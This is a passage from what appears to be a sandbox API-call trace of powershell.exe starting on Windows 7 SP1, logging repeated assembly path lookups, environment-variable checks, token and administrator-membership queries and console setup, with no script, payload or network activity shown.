ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0058.275] GetLastError () returned 0x2 [0058.275] SetErrorMode (uMode=0x1) returned 0x1 [0058.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee7f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.532] GetLastError () returned 0x0 [0058.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee7a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.532] GetLastError () returned 0x0 [0058.533] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee7a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.533] GetLastError () returned 0x0 [0058.540] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.540] GetLastError () returned 0xcb [0058.548] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.548] GetLastError () returned 0xcb [0058.548] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.548] GetLastError () returned 0xcb [0058.556] CoCreateGuid (in: pguid=0x2eecc4 | out: pguid=0x2eecc4*(Data1=0xad7e8daa, Data2=0x36ad, Data3=0x4daf, Data4=([0]=0xb1, [1]=0x7d, [2]=0x50, [3]=0xb9, [4]=0xdb, [5]=0xb5, [6]=0xd1, [7]=0xe1))) returned 0x0 [0058.562] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.562] GetLastError () returned 0xcb [0058.570] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.570] GetLastError () returned 0xcb [0058.575] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.575] GetLastError () returned 0xcb [0058.585] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0058.587] GetLastError () returned 0x0 [0058.589] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x2eeba4 | out: lpConsoleScreenBufferInfo=0x2eeba4) returned 1 [0058.589] GetLastError () returned 0x0 [0058.599] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0058.600] GetLastError () returned 0x0 [0058.600] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x2eeba4 | out: lpConsoleScreenBufferInfo=0x2eeba4) returned 1 [0058.601] GetLastError () returned 0x0 [0058.601] GetVersionExW (in: lpVersionInformation=0x413250*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x413250*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0058.601] GetLastError () returned 0x0 [0058.603] GetCurrentProcess () returned 0xffffffff [0058.603] GetLastError () returned 0x3f0 [0058.604] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2eebb4 | out: TokenHandle=0x2eebb4*=0x340) returned 1 [0058.604] GetLastError () returned 0x3f0 [0058.605] GetTokenInformation (in: TokenHandle=0x340, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2eec0c | out: TokenInformation=0x0, ReturnLength=0x2eec0c) returned 0 [0058.605] GetLastError () returned 0x7a [0058.606] GetTokenInformation (in: TokenHandle=0x340, TokenInformationClass=0x8, TokenInformation=0x3e4870, TokenInformationLength=0x4, ReturnLength=0x2eec0c | out: TokenInformation=0x3e4870, ReturnLength=0x2eec0c) returned 1 [0058.606] GetLastError () returned 0x7a [0058.607] DuplicateTokenEx (in: hExistingToken=0x340, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x2eebc4 | out: phNewToken=0x2eebc4*=0x338) returned 1 [0058.607] GetLastError () returned 0x7f [0058.607] GetTokenInformation (in: TokenHandle=0x340, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2eec0c | out: TokenInformation=0x0, ReturnLength=0x2eec0c) returned 0 [0058.607] GetLastError () returned 0x7a [0058.607] GetTokenInformation (in: TokenHandle=0x340, TokenInformationClass=0x8, TokenInformation=0x3e4820, TokenInformationLength=0x4, ReturnLength=0x2eec0c | out: TokenInformation=0x3e4820, ReturnLength=0x2eec0c) returned 1 [0058.607] GetLastError () returned 0x7a [0058.608] CheckTokenMembership (in: TokenHandle=0x338, SidToCheck=0x2c00c04*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x2eeba0 | out: IsMember=0x2eeba0) returned 1 [0058.608] GetLastError () returned 0x7a [0058.608] CloseHandle (hObject=0x338) returned 1 [0058.608] GetLastError () returned 0x7a [0058.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.608] GetLastError () returned 0x7a [0058.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee664, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.608] GetLastError () returned 0x7a [0058.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee664, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.608] GetLastError () returned 0x7a [0058.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee664, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.608] GetLastError () returned 0x7a [0058.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.654] GetLastError () returned 0x7a [0058.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee664, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.654] GetLastError () returned 0x7a [0058.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee664, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.654] GetLastError () returned 0x7a [0058.667] GetConsoleTitleW (in: lpConsoleTitle=0x4139f8, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0058.667] GetLastError () returned 0x7a [0058.690] GetConsoleTitleW (in: lpConsoleTitle=0x4139f8, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0058.690] GetLastError () returned 0x7a [0058.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.691] GetLastError () returned 0x7a [0058.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee65c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.691] GetLastError () returned 0x7a [0058.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee65c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.691] GetLastError () returned 0x7a [0058.693] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0058.695] GetLastError () returned 0x7a [0058.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.695] GetLastError () returned 0x7a [0058.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee694, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.695] GetLastError () returned 0x7a [0058.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee694, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.695] GetLastError () returned 0x7a [0058.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee694, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.695] GetLastError () returned 0x7a [0058.732] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.732] GetLastError () returned 0x7a [0058.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee694, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.733] GetLastError () returned 0x7a [0058.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee694, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.733] GetLastError () returned 0x7a [0058.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.733] GetLastError () returned 0x7a [0058.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee694, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.733] GetLastError () returned 0x7a [0058.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee694, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.733] GetLastError () returned 0x7a [0058.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.733] GetLastError () returned 0x7a [0058.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.733] GetLastError () returned 0x7a [0058.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.733] GetLastError () returned 0x7a [0058.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.733] GetLastError () returned 0x7a [0058.770] SetConsoleCtrlHandler (HandlerRoutine=0x29c384a, Add=1) returned 1 [0058.771] GetLastError () returned 0x7a [0058.796] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x338 [0058.796] GetLastError () returned 0x0 [0058.797] CoCreateGuid (in: pguid=0x2eebd8 | out: pguid=0x2eebd8*(Data1=0xaab0404e, Data2=0xfd8d, Data3=0x4aca, Data4=([0]=0xba, [1]=0x74, [2]=0x5c, [3]=0x91, [4]=0x54, [5]=0x56, [6]=0x7d, [7]=0x75))) returned 0x0 [0058.800] WinSqmIsOptedIn () returned 0x0 [0058.800] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.801] GetLastError () returned 0xcb [0058.802] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.802] GetLastError () returned 0xcb [0058.802] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.802] GetLastError () returned 0xcb [0063.364] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.364] GetLastError () returned 0xcb [0063.364] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.364] GetLastError () returned 0xcb [0063.364] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.364] GetLastError () returned 0xcb [0063.364] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.364] GetLastError () returned 0xcb [0063.427] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.428] GetLastError () returned 0x3 [0063.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.428] GetLastError () returned 0x3 [0063.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.428] GetLastError () returned 0x3 [0063.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.428] GetLastError () returned 0x3 [0063.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.428] GetLastError () returned 0x3 [0063.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.428] GetLastError () returned 0x3 [0063.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.428] GetLastError () returned 0x3 [0063.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.428] GetLastError () returned 0x3 [0063.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.428] GetLastError () returned 0x3 [0063.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.429] GetLastError () returned 0x3 [0063.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.429] GetLastError () returned 0x3 [0063.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3e0, 